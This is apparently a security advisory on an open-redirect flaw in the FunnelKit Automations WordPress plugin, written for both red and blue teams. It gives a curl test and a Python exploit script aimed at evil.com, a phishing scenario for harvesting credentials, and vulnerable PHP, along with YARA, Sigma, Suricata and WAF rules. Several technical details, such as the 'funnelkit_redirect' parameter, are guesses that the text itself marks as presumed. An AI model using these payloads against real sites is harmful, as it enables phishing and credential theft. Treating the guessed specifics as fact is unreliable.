CVE-2025-30795

Executive Summary

CVE-2025-30795 is an Open Redirect vulnerability affecting the FunnelKit Automations WordPress plugin (slug: wp-marketing-automations) up to version 3.5.1. This flaw allows an attacker to craft a URL that, when clicked by an authenticated or unauthenticated user, redirects them to an arbitrary external domain. The vulnerability is classified as a Phishing attack vector (MITRE T1566), enabling threat actors to bypass URL validation and trick users into visiting malicious sites. The CVSS score is 4.7 (Medium), with a low EPSS probability (0.0%) indicating limited active exploitation at the time of analysis. No official patch or OSV/GitHub advisory data is available, leaving all installations <= 3.5.1 exposed.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or automated deployment tools (e.g., Composer, WP-CLI) are affected. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this for credential harvesting or malware distribution.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Redirect leads to a different security domain.
• Confidentiality (C): Low (L) – Limited information disclosure via phishing.
• Integrity (I): Low (L) – Redirected content may be manipulated.
• Availability (A): None (N) – No impact on service availability.

Threat Level: Medium. While the CVSS score is moderate, the phishing potential and lack of a patch elevate the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability exists in the FunnelKit Automations plugin’s URL redirection logic. The plugin likely uses a parameter (e.g., redirect_to, return, or a custom url parameter) to redirect users after certain actions (e.g., form submission, login, or automation triggers). The code fails to validate that the target URL belongs to the same origin, allowing an attacker to supply an external domain.

Example vulnerable URL pattern:

https://victim-site.com/wp-admin/admin-ajax.php?action=funnelkit_redirect&url=https://evil.com

The plugin’s PHP handler may use a function like wp_redirect() or wp_safe_redirect() without proper validation. The wp_safe_redirect() function, when used correctly, restricts redirects to allowed hosts, but the plugin may bypass this by using wp_redirect() directly or by passing an unvalidated URL.

Attack Scenario:

1. Attacker crafts a link: https://victim-site.com/?funnelkit_redirect=https://phishing-site.com
2. Victim clicks the link (e.g., via email, social media).
3. The plugin redirects the victim to https://phishing-site.com, which mimics a legitimate login page.
4. Victim enters credentials, which are stolen by the attacker.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin’s main redirection handler. A typical vulnerable pattern:

Vulnerable Code (PHP):

$redirect_url = $_GET['url'];
wp_redirect($redirect_url);
exit;

Patched Code (Hypothetical):

$redirect_url = $_GET['url'];
$allowed_hosts = array('victim-site.com', 'sub.victim-site.com');
$parsed_url = parse_url($redirect_url);
if (in_array($parsed_url['host'], $allowed_hosts)) {
    wp_redirect($redirect_url);
} else {
    wp_redirect(home_url());
}
exit;

The patch would validate the host against a whitelist or use wp_safe_redirect() with proper allowed hosts.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with FunnelKit Automations <= 3.5.1.
• A publicly accessible phishing server (e.g., using Python’s http.server or a tool like evilginx2).

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., url, redirect, return). Use a browser or curl to test:

   curl -v "https://victim-site.com/?funnelkit_redirect=https://evil.com"
   

2. If a 302 redirect to https://evil.com is observed, the parameter is vulnerable.
3. Craft a phishing link:

   https://victim-site.com/?funnelkit_redirect=https://phishing-site.com/login
   

4. Distribute the link via email, social engineering, or malvertising.

Automated Exploit (Python):

import requests

target = "https://victim-site.com"
phishing_url = "https://evil.com"
payload = f"{target}/?funnelkit_redirect={phishing_url}"
response = requests.get(payload, allow_redirects=False)
if response.status_code == 302 and response.headers['Location'] == phishing_url:
    print(f"[+] Open redirect confirmed: {payload}")
else:
    print("[-] Not vulnerable")

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for 302 responses with Location headers pointing to external domains.
• Look for unusual query parameters like url, redirect, return in requests to the plugin’s endpoints.

Defense:

• Temporarily disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block redirects to external domains.
• Use a reverse proxy (e.g., Nginx) to validate redirect URLs:

  if ($arg_url ~* "^https?://(?!victim-site\.com)") {
      return 403;
  }
  

Indicators of Compromise (IOCs)

• URL Patterns: /?funnelkit_redirect=, /?redirect=, /?url= followed by an external domain.
• HTTP Response: 302 Found with Location header pointing to an untrusted domain.
• Referer Headers: Requests to phishing sites with Referer: https://victim-site.com/....
• Log Entries: Apache/Nginx logs showing "GET /?funnelkit_redirect=https://evil.com HTTP/1.1" 302.

Detection Engineering

YARA Rule

rule CVE_2025_30795_Open_Redirect {
    meta:
        description = "Detects open redirect attempts targeting FunnelKit Automations plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-30795"
    strings:
        $redirect_param = "funnelkit_redirect" nocase
        $url_param = "url=" nocase
        $http_redirect = "HTTP/1.1 302" nocase
        $location_header = "Location:" nocase
    condition:
        $redirect_param and $url_param and $http_redirect and $location_header
}

Sigma Rule

title: Open Redirect via FunnelKit Automations
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP 302 responses with external Location headers from FunnelKit Automations plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: GET
        sc-status: 302
        cs-uri-query|contains: "funnelkit_redirect"
        cs-uri-query|re: "https?://(?!victim-site\.com)"
    condition: selection
falsepositives:
    - Legitimate redirects to partner sites (if configured)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30795 FunnelKit Automations Open Redirect"; flow:to_server,established; content:"GET"; http_method; content:"funnelkit_redirect"; http_uri; content:"Location\:"; http_response_header; pcre:"/Location\:\s*https?:\/\/(?!victim-site\.com)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block redirect parameters.
3. Monitor logs for exploitation attempts.

Long-Term Fix:

• Wait for the vendor (FunnelKit) to release a patched version (> 3.5.1).
• Once available, update the plugin immediately.
• Consider replacing the plugin with an alternative if no patch is forthcoming.

Workaround Code (if plugin must remain active): Add the following to the theme’s functions.php to sanitize redirects:

add_action('init', function() {
    if (isset($_GET['funnelkit_redirect'])) {
        $url = $_GET['funnelkit_redirect'];
        $allowed_hosts = array('victim-site.com');
        $parsed = parse_url($url);
        if (!in_array($parsed['host'], $allowed_hosts)) {
            wp_redirect(home_url());
            exit;
        }
    }
});

Valters IT
DevSecOps & Cyber Threat Intelligence